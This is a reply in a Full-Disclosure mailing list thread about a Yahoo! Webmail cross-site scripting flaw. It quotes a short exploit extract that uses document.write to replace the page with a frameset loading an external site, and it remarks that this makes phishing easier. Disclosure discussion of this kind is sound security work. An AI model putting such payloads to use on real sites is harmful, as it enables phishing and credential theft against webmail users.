Re: Re[2]: [Full-disclosure] [Argeniss] Alert - Yahoo! Webmail XSS

I know what a Frame it's, but if I forget I know that
you will be there for remind me, thanks..

If you look at the extract of the exploit:
-----------------------------------
(java/**/script:document.write('<frameset cols=100%
rows=100% border=0 frameboarder=0framespacing=0><frame
frameborder=0
src=http://w00tynetwork.com/x/></frameset>'))
-----------------------------------

You can see that the whole HTML document is replaced
after the "document.write" and the frameset only
references a URL that is not under Yahoo! domain. This
means that all displayed content will be from an
external domain, I wonder if web browsers could do
something to alert about this and not just display the
external URL on the status bar. This default browser
behaviour makes phishing a lot easier.
